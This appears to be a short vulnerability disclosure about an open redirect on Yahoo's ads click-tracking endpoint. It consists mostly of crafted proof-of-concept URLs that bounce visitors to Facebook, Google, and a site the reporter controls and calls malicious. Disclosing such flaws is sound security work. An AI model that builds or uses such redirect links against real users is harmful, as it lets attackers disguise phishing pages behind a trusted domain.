Yahoo Online Website 0Day Unvalidated Redirects and Forwards Vulnerability

One open url redirection vulnerability was found in yahoo.

Those two attacks don't even need users to login yahoo. Test is on all browsers in all computer systems.





POC link: 

http://www.youtube.com/watch?v=GTd1Gkj6OUY






Use a website for the following tests. The website is "http://www.tetraph.com/essaybeans/". Can think this website is malicious, because it is fully under control. 








url:
http://ads.yahoo.com/clk?3,eJyti18LgjAUxb-QD246p4we5t8UZw0W4d50mKGGEYXZp09N.AT94J5zLvceYBCF9UtV2QgrZakSlgSYhrKLElVloemEEAPbEJuOhTQ6k0nIB789R9Rd9tToJV2pp3Frb8lHe9Z9cD-8KP-d3yxz6F.wnITGa56847z2B9qH1mMMmLu9RTHKxQlKkTSpqEEu6JOJsGMjuLKPbFPR3aQvGyZiJP0W5Hxr7jRN.wKrBU.A,http%3A%2F%2Fwww.facebook.com%2Fcampaign%2Flanding.php%3Fcampaign_id%3D127305407328718







POC:
http://ads.yahoo.com/clk?3,eJyti18LgjAUxb-QD246p4we5t8UZw0W4d50mKGGEYXZp09N.AT94J5zLvceYBCF9UtV2QgrZakSlgSYhrKLElVloemEEAPbEJuOhTQ6k0nIB789R9Rd9tToJV2pp3Frb8lHe9Z9cD-8KP-d3yxz6F.wnITGa56847z2B9qH1mMMmLu9RTHKxQlKkTSpqEEu6JOJsGMjuLKPbFPR3aQvGyZiJP0W5Hxr7jRN.wKrBU.A,http%3A%2F%2Fwww.google.com



http://ads.yahoo.com/clk?3,eJyti18LgjAUxb-QD246p4we5t8UZw0W4d50mKGGEYXZp09N.AT94J5zLvceYBCF9UtV2QgrZakSlgSYhrKLElVloemEEAPbEJuOhTQ6k0nIB789R9Rd9tToJV2pp3Frb8lHe9Z9cD-8KP-d3yxz6F.wnITGa56847z2B9qH1mMMmLu9RTHKxQlKkTSpqEEu6JOJsGMjuLKPbFPR3aQvGyZiJP0W5Hxr7jRN.wKrBU.A,http%3A%2F%2Fwww.tetraph.com





Now, the Vulnerability still works.

Reporter:

WANG Jing, Nanyang Technological University, Singapore

http://www.tetraph.com/wangjing/

Reference:

http://tetraph.com/security/open-redirect/those-two-attacks-dont
http://seclists.org/fulldisclosure/2014/Feb/119
http://securityrelated.blogspot.sg/2014/10/yahoo-open-redirect-vulnerability.html

http://www.csoonline.com/article/2136232/application-security/open-redirect-on-yahoo.html